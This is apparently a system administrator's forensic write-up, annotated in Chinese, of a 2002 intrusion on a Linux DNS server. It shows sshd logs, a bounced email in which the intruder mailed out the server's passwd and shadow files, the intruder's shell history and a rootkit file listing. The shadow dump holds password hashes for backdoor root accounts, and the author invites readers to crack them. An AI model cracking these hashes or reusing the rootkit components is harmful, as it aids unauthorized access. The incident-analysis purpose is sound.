  Jan 21 19:00:16 dnscache sshd[23334]: log: Could not reverse map address
  80.96.178.195.
  Jan 21 19:00:25 dnscache sshd[23334]: log: Password authentication for
  operator accepted.
  
  From root Mon Jan 21 20:01:02 2002
  Return-Path:
  Received: (from root@localhost)
  by dnscache.i-168.com (8.9.3/8.9.3) id UAA29460
  for root; Mon, 21 Jan 2002 20:01:01 +0800
  Date: Mon, 21 Jan 2002 20:01:01 +0800
  From: root
  Message-Id: <200201211201.UAA29460@dnscache.i-168.com>
  To: root@dnscache.i-168.com
  Subject: dnscache.i-168.com 01/21/02:20.01 system check
  
  
  Unusual System Events
  =-=-=-=-=-=-=-=-=-=-=
  Jan 21 19:01:54 dnscache sshd[23334]: fatal: Read error from remote
  host: Connection reset by peer
  Jan 21 19:13:33 dnscache sshd[23975]: log: Connection from 80.96.178.194
  port 2406
  Jan 21 19:13:33 dnscache sshd[23975]: log: Could not reverse map address
  80.96.178.194.
  Jan 21 19:13:44 dnscache sshd[23975]: log: Password authentication for
  operator accepted.
  Jan 21 19:17:41 dnscache sshd[270]: log: Generating new 768 bit RSA
  key.
  有新机器进来呢,FT,不是好兆头
  
  重启
  From root Mon Jan 21 23:01:00 2002
  Return-Path:
  Received: (from root@localhost)
  by dnscache.i-168.com (8.9.3/8.9.3) id XAA00309
  for root; Mon, 21 Jan 2002 23:01:00 +0800
  Date: Mon, 21 Jan 2002 23:01:00 +0800
  From: root
  Message-Id: <200201211501.XAA00309@dnscache.i-168.com>
  To: root@dnscache.i-168.com
  Subject: dnscache.i-168.com 01/21/02:23.01 system check
  
  
  
  Feb 2 07:28:18 dnscache sshd[1991]: log: Connection from 24.112.92.
  135 port 3854
  Feb 2 07:28:21 dnscache sshd[1992]: log: Connection from 24.112.92.
  135 port 3855
  Feb 2 07:28:30 dnscache sshd[1992]: fatal: Local: crc32 compensation
  attack: network attack detected
  Feb 2 07:28:31 dnscache sshd[1993]: log: Connection from 24.112.92.
  135 port 3856
  Feb 2 07:28:34 dnscache sshd[1993]: fatal: Local: crc32 compensation
  attack: network attack detected
  Feb 2 07:28:34 dnscache sshd[1994]: log: Connection from 24.112.92.
  135 port 3857
  Feb 2 07:28:39 dnscache sshd[1994]: fatal: Local: crc32 compensation
  attack: network attack detected
  Feb 2 07:28:40 dnscache sshd[1995]: log: Connection from 24.112.92.
  135 port 3858
  Feb 2 07:28:44 dnscache sshd[1995]: fatal: Local: crc32 compensation
  attack: network attack detected
  Feb 2 07:28:46 dnscache sshd[1996]: log: Connection from 24.112.92.
  135 port 3859
  Feb 2 07:28:49 dnscache sshd[1996]: fatal: Local: crc32 compensation
  attack: network attack detected
  Feb 2 07:28:49 dnscache sshd[1997]: log: Connection from 24.112.92.
  135 port 3860
  Feb 2 07:28:54 dnscache sshd[1997]: fatal: Local: crc32 compensation
  attack: network attack detected
  Feb 2 07:28:55 dnscache sshd[1998]: log: Connection from 24.112.92.
  135 port 3861
  Feb 2 07:28:59 dnscache sshd[1998]: fatal: Local: crc32 compensation
  attack: network attack detected
  Feb 2 07:28:59 dnscache sshd[1999]: log: Connection from 24.112.92.
  135 port 3862
  Feb 2 07:29:05 dnscache sshd[1999]: fatal: Local: crc32 compensation
  attack: network attack detected
  Feb 2 07:29:06 dnscache sshd[2000]: log: Connection from 24.112.92.
  135 port 3863
  Feb 2 07:29:09 dnscache sshd[2000]: fatal: Local: crc32 compensation
  attack: network attack detected
  Feb 2 07:29:10 dnscache sshd[2001]: log: Connection from 24.112.92.
  135 port 3864
  Feb 2 07:29:15 dnscache sshd[2001]: fatal: Local: crc32 compensation
  attack: network attack detected
  From root Sat Feb 2 08:09:26 2002
  Return-Path:
  Received: from localhost (localhost)
  by dnscache.i-168.com (8.9.3/8.9.3) with internal id IAA02520;
  Sat, 2 Feb 2002 08:09:25 +0800
  Date: Sat, 2 Feb 2002 08:09:25 +0800
  From: Mail Delivery Subsystem
  Message-Id: <200202020009.IAA02520@dnscache.i-168.com>
  To: root@dnscache.i-168.com
  MIME-Version: 1.0
  Content-Type: multipart/report; report-type=delivery-status;
  boundary="IAA02520.1012608565/dnscache.i-168.com"
  Subject: Returned mail: Service unavailable
  Auto-Submitted: auto-generated (failure)
  
  This is a MIME-encapsulated message
  
  --IAA02520.1012608565/dnscache.i-168.com
  
  The original message was received at Sat, 2 Feb 2002 08:09:22 +0800
  from root@localhost
  
  ----- The following addresses had permanent fatal errors -----
  ja_ja_j@yahoo.com
  
  ----- Transcript of session follows -----
  ... while talking to mx2.mail.yahoo.com.:
  > >> DATA
  < 554 delivery error: dd This user doesn't have a yahoo.com account
  (ja_ja_j@yahoo.com) - mta619.mail.yahoo.c
  om
  554 ja_ja_j@yahoo.com... Service unavailable
  --IAA02520.1012608565/dnscache.i-168.com
  Content-Type: message/delivery-status
  
  Reporting-MTA: dns; dnscache.i-168.com
  Arrival-Date: Sat, 2 Feb 2002 08:09:22 +0800
  
  Final-Recipient: RFC822; ja_ja_j@yahoo.com
  Action: failed
  Status: 5.0.0
  Remote-MTA: DNS; mx2.mail.yahoo.com
  Diagnostic-Code: SMTP; 554 delivery error: dd This user doesn't have a
  yahoo.com account (ja_ja_j@yahoo.com) -
  mta619.mail.yahoo.com
  Last-Attempt-Date: Sat, 2 Feb 2002 08:09:25 +0800
  
  --IAA02520.1012608565/dnscache.i-168.com
  Content-Type: message/rfc822
  
  Return-Path:
  Received: (from root@localhost)
  by dnscache.i-168.com (8.9.3/8.9.3) id IAA02513
  for ja_ja_j@yahoo.com; Sat, 2 Feb 2002 08:09:22 +0800
  Date: Sat, 2 Feb 2002 08:09:22 +0800
  From: root
  Message-Id: <200202020009.IAA02513@dnscache.i-168.com>
  To: ja_ja_j@yahoo.com
  Subject: Linux dnscache.i-168.com 2.2.18-2 #1 Tue Feb 27 20:54:01 CST
  2001 i686 unknown
  
  Linux dnscache.i-168.com 2.2.18-2 #1 Tue Feb 27 20:54:01 CST 2001 i686
  unknown
  |------
  root:x:0:0:root:/root:/bin/bash
  bin:x:1:1:bin:/bin:
  daemon:x:2:2:daemon:/sbin:
  adm:x:3:4:adm:/var/adm:
  lp:x:4:7:lp:/var/spool/lpd:
  sync:x:5:0:sync:/sbin:/binsync
  shutdown:x:6:0:shutdown:/sbin:/sbinshutdown
  halt:x:7:0:halt:/sbin:/sbinhalt
  mail:x:8:12:mail:/var/spoolmail:
  news:x:9:13:news:/var/spoolnews:
  uucp:x:10:14:uucp:/var/spooluucp:
  operator:x:11:0:operator:/root:
  games:x:12:100:games:/usrgames:
  gopher:x:13:30:gopher:/usr/libgopher-data:
  ftp:x:14:50:FTP User:/home/ftp:
  nobody:x:99:99:Nobody:/:
  wnn:x:127:127:Wnn:/usr/local/bin/Wnn6:
  哪里来的SHELL?又是后门,FT!
  mysql:x:128:128:MySQL server:/var/lib/mysql:/binbash
  bind:x:129:129::/etc/named:/dev/null
  piranha:x:60:60::/home/httpd/html/piranha:/dev/null
  squid:x:23:23::/var/spool/squid:/dev/null
  chair:x:500:503::/home/chair:/bin/bash
  dnscache:x:501:504::/home/dnscache:/binbash
  dnslog:x:502:505::/home/dnslog:/binbash
  cgi:x:0:0::/home/cgi:/bin/bash
  家伙1
  luck:x:503:506::/home/luck:/bin/bash
  家伙2
  luck1:x:0:507::/home/luck1:/bin/bash
  家伙3|------
  root:XXXXXXXXX.:11649:0:99999:7::: 保密啦
  bin:*:11649:0:99999:7:::
  daemon:*:11649:0:99999:7:::
  adm:*:11649:0:99999:7:::
  lp:*:11649:0:99999:7:::
  sync:*:11649:0:99999:7:::
  shutdown:*:11649:0:99999:7:::
  halt:*:11649:0:99999:7:::
  mail:*:11649:0:99999:7:::
  news:*:11649:0:99999:7:::
  uucp:*:11649:0:99999:7:::
  operator:XXXXXXXXXX:11708:0:99999:7:-1:-1:134539376
  games:*:11649:0:99999:7:::
  games:*:11649:0:99999:7:::
  gopher:*:11649:0:99999:7:::
  ftp:*:11649:0:99999:7:::
  nobody:*:11649:0:99999:7:::
  wnn:*:11649:0:99999:7:::
  mysql:!!:11649:0:99999:7:::
  bind:!!:11649:0:99999:7:::
  piranha:!!:11649:0:99999:7:::
  squid:!!:11649:0:99999:7:::
  chair:XXXXXXXXX:11649:0:99999:7:-1:-1:134539416 保密啦
  dnscache:!!:11649:0:99999:7:::
  dnslog:!!:11649:0:99999:7:::
  cgi:5DnRYHyIa5w0g:11708:0:99999:7:-1:-1:134539416
  luck:SqXj0pjOPwcxA:11720:0:99999:7:-1:-1:134538336
  luck1:cqrTW5Ortfn7s:11720:0:99999:7:-1:-1:134538336
  这几个就是他们的3DES后的东西,哪位朋友有时间和兴趣就CRACK了他吧
  PING 216.115.108.245 (216.115.108.245) from 192.168.100.27 : 56(84)
  bytes of data.
  64 bytes from 216.115.108.245: icmp_seq=0 ttl=233 time=167.9 ms
  64 bytes from 216.115.108.245: icmp_seq=1 ttl=233 time=170.7 ms
  64 bytes from 216.115.108.245: icmp_seq=2 ttl=233 time=171.2 ms
  64 bytes from 216.115.108.245: icmp_seq=3 ttl=233 time=174.6 ms
  64 bytes from 216.115.108.245: icmp_seq=4 ttl=233 time=171.0 ms
  
  --- 216.115.108.245 ping statistics ---
  5 packets transmitted, 5 packets received, 0% packet loss
  round-trip min/avg/max = 167.9/171.0/174.6 ms
  
  下面的是在/home/luck/目录下的东西,看来也是不细心,又有
  线索了,看样子改了内核,这个家伙在这里还考虑周到,怕
  我重编内核??
  [root@mail luck]# cat .bash_history
  cd /usr/src
  ls
  cd star
  ls
  cd S*
  ls
  tar -zxpvf *
  ls
  cd root
  ls
  l
  ls
  cd ls
  ls
  ls -af
  ls
  cd ..
  ls
  cd etc
  ls
  cd ..
  ls
  cd boot
  ls
  cd ..
  ls
  cd boto
  ls -af
  cd ..
  ls
  cd root
  ls
  ls -af
  cd ..
  ls
  rm * -rf
  ls
  tar -zxpvf *
  ls
  cd ske
  ls
  ls -af
  vi .X*
  ls
  ls -af
  ls
  ls -af
  rm .X*
  LS
  ls
  rm * -rf
  ls
  ls -af
  ls
  ls -af
  vi .x*
  ls
  ls -af
  rm .x*
  ls
  ls -af
  vi .inputrc
  ls
  ls -af
  vi .bashrc
  ls -af
  rm .g*
  rm .gnome*
  rm .gnome* -rf
  ls
  ls -af
  rm .kde*
  ls
  ls -af
  mv
  mc
  ls
  ls -af
  rm .net*
  rm .net* -rf
  ls -af
  mc
  ls
  ls -af
  cp -r .* /root
  y
  cd /
  ls
  cd usr
  ls
  cd src
  ls
  cd ..
  ls
  cd ..
  ls
  cd usr
  ls
  cd src
  ls
  cd tar
  l
  s
  ls
  cd S&*
  cd S*
  LS
  ls
  mount /dev/hdd /mnt/cdrom
  cd /mnt/cdrom
  ls
  cd S*
  ls
  ls f*
  rpm -i filesys*
  cd ..
  ls *ske*
  ls
  cd S*
  ls
  ls *ske*
  rpm -i *ske*
  cd ..
  cd /
  ls
  cd root
  ls
  ls -af
  cd ..
  mv root rootstar
  mkdir root
  cd root
  ls -af
  cd ..
  ls
  cd rootstar
  ls
  ls -af
  cd ..
  ls
  rm root -rf
  ls
  mkdir root
  ls
  cd root
  ls -af
  ls -a
  ls .
  rm ske -rf
  ls
  ls -af
  rm skel -rf
  ls
  ls -af
  ls
  vi
  ls
  ROOTKIT里的文件,FT,几乎都考虑周全了,可惜啊,这些常用的
  东西网管又怎么会相信呢,通常自己都有另一套东西的啦。
  [root@mail rk]# ls
  Makefile.non-smp cleaner.c hostkey logrc ps
  tcpd
  Makefile.smp dir ifconfig ls pstree
  top
  adore.c dummy.c iferc netstat rename.c
  twist2open
  afbackup exec-test.c install netstatrc seed
  ava.c exec.c libinvisible.c network sshd_conf
  bnc filerc libinvisible.h parser syslogd
  bnc.conf find logcleaner procrc sz

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